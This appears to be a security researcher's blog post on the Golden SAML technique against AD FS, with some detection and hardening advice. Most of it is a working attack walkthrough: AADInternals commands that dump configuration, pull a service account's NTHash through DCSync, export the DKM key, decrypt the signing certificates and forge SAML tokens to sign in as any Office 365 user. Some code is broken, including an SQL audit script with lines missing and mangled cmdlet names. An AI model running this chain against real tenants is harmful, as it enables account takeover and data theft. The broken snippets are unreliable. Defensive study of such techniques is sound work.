Exporting AD FS certificates revisited: Tactics, Techniques and Procedures

Exporting AD FS certificates revisited: Tactics, Techniques and Procedures

I’ve talked about AD FS issues for a couple years now, and finally, after the Solorigate/Sunburst, the world is finally listening πŸ˜‰

In this blog, I’ll explain the currently known TTPs to exploit AD FS certificates, and introduce a totally new technique to export the configuration data remotely.


I faced the first issues with the Office 365 / Azure AD identity federation in 2017, when I found out that you could login in as any user of the tenant, regardless were they federated or not. The requirement was that the immutableId property of the user was known. The property would be populated automatically for all synced user, for non-synced user this is possible to set manually by admins.

I also knew that it was possible to create SAML tokens to exploit this, as long I would have access token signing certificate. I also knew that the certificate was stored in the configuration database and encrypted with a key that was stored in AD. Regardless of the hours spent trying to solve the mystery, I just couldn’t decrypt the certificate.

But then came the TROOPERS19, and the wonderful presentation I am AD FS and So Can You by Douglas Bienstock (@doughsec) and Austin Baker (@BakedSec). Their seminal research finally revealed how to decrypt AD FS certificates! The two famous tools were also introduced: ADFSDump and ADFSpoof.

For short, to export AD FS token signing certificate, two things are needed: AD FS configuration data and certificate encryption key.

At late 2020, the world finally woke up after an attack against SolarWinds. The attack is better known as Solorigate or Sunburst, and among other things, it exploited the known AD FS issues to get access to SolarWinds’ customers Microsoft clouds. Since then, many providers (including Microsoft) have published a loads of material on how to detect such attacks and how to mitigate allready compromised environments.

In this blog, I’ll deep-dive in to TTPs these attacks used, how to detect them, and how to protect from future attacks (where applicable). I also introduce a totally new technique to export AD FS configuration data remotely.

AD FS certification export is totally rewritten for the AADInternals version v0.4.7: The functionality to export configuration and encryption key are separated, as is the certificate decryption.

Exporting configuration

Regardless of the deployment model, AD FS configuration is always stored to a database. For smaller environments, the Windows Internal Database (WID) is used, and Microsoft SQL for larger ones.

The actual configuration is an xml file, including all the settings of the AD FS service. The xml file has over 1000 lines, below is an exerpt with the interesting data.

 1 <ServiceSettingsData xmlns:i="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://schemas.datacontract.org/2012/04/ADFS">
 2 	<SecurityTokenService>
 3 		<AdditionalEncryptionTokens>
 4 			<CertificateReference>
 5 				<IsChainIncluded>false</IsChainIncluded>
 6 				<IsChainIncludedSpecified>false</IsChainIncludedSpecified>
 7 				<FindValue>B7C09D5C2F434A2B746D200946202DE273A4B68C</FindValue>
 8 				<RawCertificate>MII[redacted]+RAh7dEypFVmcIyCd</RawCertificate>
 9 				<EncryptedPfx>AAAAA[redacted]Dbb5/gJLkQ==</EncryptedPfx>
10 				<StoreNameValue>My</StoreNameValue>
11 				<StoreLocationValue>CurrentUser</StoreLocationValue>
12 				<X509FindTypeValue>FindByThumbprint</X509FindTypeValue>
13 			</CertificateReference>
14 		</AdditionalEncryptionTokens>
15 		<AdditionalSigningTokens>
16 			<CertificateReference>
17 				<IsChainIncluded>false</IsChainIncluded>
18 				<IsChainIncludedSpecified>false</IsChainIncludedSpecified>
19 				<FindValue>6FFF3A436D13EB299549F2BA93D485CBD050EB4F</FindValue>
20 				<RawCertificate>MII[redacted]OzFUGmGWPXqLk</RawCertificate>
21 				<EncryptedPfx>AAAAA[redacted]+evM94M17iG9P6VDFrA==</EncryptedPfx>
22 				<StoreNameValue>My</StoreNameValue>
23 				<StoreLocationValue>CurrentUser</StoreLocationValue>
24 				<X509FindTypeValue>FindByThumbprint</X509FindTypeValue>
25 			</CertificateReference>
26 		</AdditionalSigningTokens>
27 		<EncryptionToken>
28 			<IsChainIncluded>false</IsChainIncluded>
29 			<IsChainIncludedSpecified>false</IsChainIncludedSpecified>
30 			<FindValue>B7C09D5C2F434A2B746D200946202DE273A4B68C</FindValue>
31 			<RawCertificate>MII[redacted]+RAh7dEypFVmcIyCd</RawCertificate>
32 			<EncryptedPfx>AAAAA[redacted]Dbb5/gJLkQ==</EncryptedPfx>
33 			<StoreNameValue>My</StoreNameValue>
34 			<StoreLocationValue>CurrentUser</StoreLocationValue>
35 			<X509FindTypeValue>FindByThumbprint</X509FindTypeValue>
36 		</EncryptionToken>
37 		<SigningToken>
38 			<IsChainIncluded>false</IsChainIncluded>
39 			<IsChainIncludedSpecified>false</IsChainIncludedSpecified>
40 			<FindValue>6FFF3A436D13EB299549F2BA93D485CBD050EB4F</FindValue>
41 			<RawCertificate>MII[redacted]OzFUGmGWPXqLk</RawCertificate>
42 			<EncryptedPfx>AAAAA[redacted]+evM94M17iG9P6VDFrA==</EncryptedPfx>
43 			<StoreNameValue>My</StoreNameValue>
44 			<StoreLocationValue>CurrentUser</StoreLocationValue>
45 			<X509FindTypeValue>FindByThumbprint</X509FindTypeValue>
46 		</SigningToken>
47 	</SecurityTokenService>
48 	<PolicyStore>
49 		<AuthorizationPolicy>@RuleName = "Permit Service Account"
50 exists([Type == "http://schemas.microsoft.com/ws/2008/06/identity/claims/primarysid", Value == "S-1-5-21-2918793985-2280761178-2512057791-1134"])
51  => issue(Type = "http://schemas.microsoft.com/authorization/claims/permit", Value = "true");
53 @RuleName = "Permit Local Administrators"
54 exists([Type == "http://schemas.microsoft.com/ws/2008/06/identity/claims/groupsid", Value == "S-1-5-32-544"])
55  => issue(Type = "http://schemas.microsoft.com/authorization/claims/permit", Value = "true");
57 		</AuthorizationPolicy>
58 		<AuthorizationPolicyReadOnly>@RuleName = "Permit Service Account"
59 exists([Type == "http://schemas.microsoft.com/ws/2008/06/identity/claims/primarysid", Value == "S-1-5-21-2918793985-2280761178-2512057791-1134"])
60  => issue(Type = "http://schemas.microsoft.com/authorization/claims/permit", Value = "true");
62 @RuleName = "Permit Local Administrators"
63 exists([Type == "http://schemas.microsoft.com/ws/2008/06/identity/claims/groupsid", Value == "S-1-5-32-544"])
64  => issue(Type = "http://schemas.microsoft.com/authorization/claims/permit", Value = "true");
66 		</AuthorizationPolicyReadOnly>
67 		<DkmSettings>
68 			<Group>87f0e958-be86-4c39-b469-ac94b5924bd2</Group>
69 			<ContainerName>CN=ADFS</ContainerName>
70 			<ParentContainerDn>CN=Microsoft,CN=Program Data,DC=aadinternals,DC=com</ParentContainerDn>
71 			<PreferredReplica i:nil="true" />
72 			<Enabled>true</Enabled>
73 		</DkmSettings>
74 	</PolicyStore>
75 </ServiceSettingsData>


This scenario requires a local admin rights to AD FS server, and that WID is used to store configuration data. In this scenario, there is one Primary AD FS node, and one or more Secondary AD FS nodes. All the management must be done in the primary node, from where all the secondary nodes will fetch the configuration once in five minutes:

AD FS with WID

The configuration can be exported from any AD FS server of the farm, regardless are they primary or secondary nodes.

Technically, the export is performed by executing a SQL query against the WID:

AD FS with WID

The database connection string can be queried using WMI:

(Get-WmiObject -Namespace root/AD FS -Class SecurityTokenService).ConfigurationDatabaseConnectionString
For Windows Server 2019 AD FS the connection string is:

Data Source=np:\\.\pipe\microsoft##wid\tsql\query;Initial Catalog=ADFSConfigurationV4;Integrated Security=True

The actual configuration data can now be fetched with the following SQL query:

SELECT ServiceSettingsData from IdentityServerPolicy.ServiceSettings

To export the configuration with AADInternals:

# Export configuration and store to variable
$ADFSConfig = Export-AADIntADFSConfiguration -Local

Or, to save it to a file:

# Export configuration to file
Export-AADIntAD SConfiguration | Set-Content ADFSConfig.xml -Encoding UTF8

Another technique requiring access to AD FS server would be to download the configuration database from a remote computer same way as Dirk-Jan Mollena (@_dirkjan) does with his adconnectdump tool. However, AFAIK, this has not implemented yet.


Exploiting this scenario requires logging in to AD FS server. As such, the exploitation can be detected by:

  • Monitoring the Security log for the suspicious logons
  • Enabling audit logging in WID for ServiceSettings queries and monitoring for suspicious access

To enable AD FS audit logging, connect to WID database by SQL Management Studio or sqlcmd using database information from connection string above:

sqlcmd -S \\.\pipe\microsoft##wid\tsql\query

The following SQL query will enable logging for all SELECT statements against ServiceSettings table. The server level auditing created in row 3 is attached to Application Log and enabled in row 5. In row 7, use the correct database name from the connection string above (depends on the AD FS version). The database level auditing is defined in row 9 to include all SELECT statements against ServiceSettings table, and enabled in row 11.

 1 USE [master]
 2 GO
 4 GO
 6 GO
 7 USE [ADFSConfigurationV4]
 8 GO
10 GO
12 GO

As a result, all queries for ServiceSettings are now logged to Application log with event id 33205. If the server_principal_name is not the AD FS service user, the alert should be raised.

AD FS with WID

The server level auditing will generate some extra log events, but database level audit should only include the local exports.


Dumping databases locally can not be fully prevented, but the limiting access to a minimum would reduce the attack surface.


Dumping the configuration remotely is a totally new functionality in AADInternals and it required a lot of refactoring of Kerberos related functionality πŸ˜…

The idea for this was given by my colleague Ryan Cobb from Secureworks a couple of weeks ago. After tweeting about this new finding, it turned out that, coincidentally, @doughsec had also researched the same technique a couple of months earlier. The report by @doughsec is available here, I’ll post a detailed blog about my research process later.

The basic idea here is to emulate the AD FS synchronisation by pretending to be the AD FS service:

AD FS sync

It turned out that the “AD FS sync” is using SOAP for getting settings. The interesting part is that the whole process takes place using http (not https) and can therefore be monitored by using a proxy like Fiddler or Burp. However, the content of the SOAP messages are encrypted. I’ll not dive into details in this blog, but the process involves Kerberos authentication and exchanging a bunch of encryption keys.

I had earlier implemented functionality to create Kerberos tokens to exploit Seamless SSO. To get it to work with AD FS, I had to do some modifications, but that is also another story πŸ˜‰

Getting the configuration remotely requires a couple of things:

  • Ip address or FQDN of any AD FS server
  • NTHash of the AD FS service user
  • SID of the AD FS service user

With the NTHash and SID, we can craft a Kerberos token and use it to authenticate against AD FS. After the authentication is completed, we can send an (encrypted) SOAP message to:


The SOAP message would contain the following payload:

<GetState xmlns="http://schemas.microsoft.com/ws/2009/12/identityserver/protocols/policystore">
	<mask xmlns:i="http://www.w3.org/2001/XMLSchema-instance" i:nil="true"/>
	<filter xmlns:i="http://www.w3.org/2001/XMLSchema-instance" i:nil="true"/>

Getting the AD FS service user’s NTHash would usually require tools like Mimikatz or DSInternals.

To make it easier for AADInternals users, I’ve included a slighty modified DSInternals.Replication functionality which allows getting user information directly from Domain Controllers by emulating DCSync.

First, we need to get the object guid of the AD FS service user. Below I’m using sv_ADFS but that depends on your configuration.

Get-ADObject -filter * -Properties objectguid,objectsid | Where-Object name -eq sv_ADFS | Format-List Name,ObjectGuid,ObjectSid

Name       : sv_ADFS
ObjectGuid : b6366885-73f0-4239-9cd9-4f44a0a7bc79
ObjectSid  : S-1-5-21-1332519571-494820645-211741994-8710

Next, we can query the NTHash of the AD FS service user, which requires credentials having replication permissions.

# Save credentials to a variable
$cred = Get-Credential

# Get the NTHash as hex string
Get-AADIntADUserNTHash -ObjectGuid "b6366885-73f0-4239-9cd9-4f44a0a7bc79" -Credentials $creds -Server dc.company.com -AsHex


Finally, as we have all we need, we can get the configuration remotely:

# Export configuration remotely and store to variable
$ADFSConfig = Export-AADIntADFSConfiguration -Hash "6e36047d34057fbb8a4e0ce8933c73cf" -SID "S-1-5-21-1332519571-494820645-211741994-8710" -Server sts.company.com

Note! Getting configuration remotely works also when using the full SQL for storing the configuration data. In this scenario, there are no primary or secondary servers because all servers are using a centralised database. As such, there is no need for the AD FS sync and it should not be enabled at all! However, this how Microsoft designed AD FS, so there is nothing we can do about it 😟


AD FS configuration sync is not logged to anywhere. However, enabling AD FS Tracing, will record event id 54, which indicates a succesful authentication:

AD FS tracing

If the authentication timestamp is out of normal sync times, or from “wrong” computer, an alert should be raised.


AD FS service requires that https traffic is allowed. Http traffic is only used by load balancers to probe whether the AD FS service is up or not:


As such, allowing http traffic only from other AD FS servers, proxies, and load balancers would reduce the attack surface.

Exporting configuration encryption key

AD FS is using Distributed Key Manager (DKM) container to store the configuration encryption key in Active Directory. Container location is included in the configuration xml (lines 69 and 70).

Inside the container there are one or more “Groups”. The correct group is also included in the configuration xml (line 68). Inside the group, there are two (or more) contact objects. One of those objects is always named to “CryptoPolicy” and its DisplayName attribute is a GUID. The encryption key is located in the object, which has an “l” (location) attribute value matching the DisplayName of the CryptoPolicy object.

AD FS encryption key


Option 1: As logged in user

The local export here refers to export taking place on AD FS server OR on any other domain-joined computer with a user having rights to access the DKM container.

The proper container location is extracted from the configuration, the CryptoPolicy is searched and finally the thumpbnailPhoto attribute is extracted.

local encryption key export

To export the key with AADInternals:

# Export encryption key and store to variable
$ADFSKey = Export-AADIntEncryptionKey -Local -Configuration $ADFSConfig

Option 2: As AD FS service user

Accessing AD FS DKM container is likely being logged. Exporting the key as any other user than AD FS service account is suspicious activity and will like raise an alert. Therefore, it is more safe to export the key as the AD FS service account.

In this scenario, the export MUST be done from AD FS server:

local encryption key export

To export the encryption key as AD FS service account:

# Export encryption key as AD FS service user
Export-AADIntADFSEncryptionKey -Local -Configuration $ADFSConfig -AsAD FS -AsHex

WARNING: Running as ADFS (COMPANY\sv_ADFS$). You MUST restart PowerShell to restore COMPANY\administrator rights.

Note: Exporting the key as AD FS account will “ruin” the current PowerShell session, as the original user rights are lost due delegation. Therefore, the key was exported as hex string.


Detecting the encryption key export is based on enabling auditing the access to AD FS DKM container. For instance, Roberto Rodriguez (@Cyb3rWard0g) has published a great article on how to enable auditing.


Exporting the encryption key locally can not be fully prevented, but the limiting access to a minimum would reduce the attack surface.


Exporting the encryption key remotely is using DCSync. As such, the credentials with directory replication rights are needed, but the actual export can be performed from any computer. Also the object guid of the DKM object is needed.

remote encryption key export

# Save credentials to a variable
$cred = Get-Credential

# Export encryption key remotely and store to variable
$ADFSKey = Export-AADIntADFSEncryptionKey -Server dc.company.com -Credentials $cred -ObjectGuid "930e004a-4486-4f58-aead-268e41c0531e"


Technically, the encryption key is fetched using DCSync. As such, it will generate event id 4662 to Security log. However, the access to DKM container is NOT detected.

detecting remote key export


In practice, exporting the encryption key remotely can not prevented, but limiting the replication rights would reduce the attack surface.

Exporting AD FS certificates

After exporting the configuration and encryption key, we are ready to decrypt the AD FS certificates. As we can see from the configuration xml, it includes certificates for Signing Token (line 42) and Encryption Token (line 32). Also “additional” certificates for signing token (line 21) and encryption token (line 9) are included. These additional certificates are (usually) generated automatically, when the currently used certificates getting near their expiration date. If the additional certificates are same than “current” certificates, they are not exported.

To export AD FS certificates to the current directory:

# Export AD FS certificates
Export-AADIntADFSCertificates -Configuration $ADFSConfig -Key $ADFSKey


To exploit the Azure AD with the exported AD FS signing certificates, we need to know: * The issuer URI of the AD FS service * ImmutableId of the user we want to login as

First, lets get the issuer URI. It can be fetched from the Azure AD or from the AD FS server.

To get the issuer URI from Azure AD using MsOnline PS module:

# Get the issuer URI
$Issuer = (Get-MsolDomainFederationSettings -DomainName <domain>).IssuerUri

To get the issuer URI from the AD FS server:

# Get the issuer URI
$Issuer = (Get-ADFSProperties).Identifier.OriginalString

Next, we need the ImmutableId of the user we want to logon as. The ImmutableId can also be fetched from the Azure AD or from on-prem AD (ImmutableId is Base64 encoded ObjectGuid of the user’s on-prem AD account).

To get users and immutable id’s from Azure AD using MsOnline PS module:

# Get ImmutableIds
Get-MsolUser | select UserPrincipalName,ImmutableId

To get users and immutable id’s from on-prem AD using AzureAD PS module:

# Get ImmutableIds
Get-ADUser -Filter * | select UserPrincipalname,@{Name = "ImmutableId" ; Expression = { "$([Convert]::ToBase64String(([guid]$_.ObjectGuid).ToByteArray())) "}}

UserPrincipalname    ImmutableId              
-----------------    -----------              
AlexW@company.com    Ryo4MuvXW0muelHOefJ9yg== 
AllanD@company.com   Eo+jOAQegUi6rEy8+Yu1Rg== 
DiegoS@company.com   cl/bTG5zJku9VynOaXYaeQ== 
IsaiahL@company.com  iZaESRicxECDk5bN7gZhPg== 
JoniS@company.com    iGyyi+gq40u409PXjE3yRg== 
LynneR@company.com   QpHd34ay4UKo0whX6hui3g== 
MeganB@company.com   31YCEbfrMUCefem7zlPYTg== 
NestorW@company.com  jyEyYWLzKkSpq3bERRG+PQ== 
PattiF@company.com   xTuqzBwFbUePyPGRRA1R4g== 
SamiL@company.com    VlUqJm8rrUeAhrhJGIhYsQ== 
MarkR@company.com    J1OAD14fgEWTMjLqQL5+/g== 

Now we can login as any user whose ImmutableId is known. The following command will open a Chrome browser and log the user automatically in.

# Open Office 365 portal as the given user
Open-AADIntOffice365Portal -ImmutableID iZaESRicxECDk5bN7gZhPg== -PfxFileName .\ADFS_signing.pfx -Issuer $Issuer -Browser Chrome

We can also use the same information to get access token to any Office 365/Azure AD service we like:

# Create a SAML token
$saml = New-AADIntSAMLToken -ImmutableID iZaESRicxECDk5bN7gZhPg== -PfxFileName .\ADFS_signing.pfx -Issuer $Issuer

# Get access token for Outlook
Get-AADIntAccessTokenForEXO -SAMLToken $saml -SaveToCache

Tenant                               User                Resource                      Client                              
------                               ----                --------                      ------                              
112d9bdc-b677-4a5f-8650-2948dbedb02f IsaiahL@company.com https://outlook.office365.com d3590ed6-52b3-4102-aeff-aad2292ab01c


In this blog post, I introduced various techniques how to export AD FS configuration data and encryption key to extract the AD FS certificates. Corresponding detection and prevention techniques were also introduced.


Dr Nestori Syynimaa avatar
About Dr Nestori Syynimaa
Dr Syynimaa works as Senior Principal Information Security Researcher at Secureworks CTU (Counter Threat Unit).
Before moving to his current position, Dr Syynimaa worked as a CIO, consultant, trainer, and university lecturer for over 20 years. He is a regular speaker in scientific and professional conferences related to Microsoft 365 and Azure AD security.

Dr Syynimaa is Microsoft Certified Expert (Microsoft 365), Microsoft Certified Azure Solutions Architect Expert, Microsoft Certified Trainer, and Microsoft MVP (Enterprise Mobility, Identity and Access & Intune).
comments powered by Disqus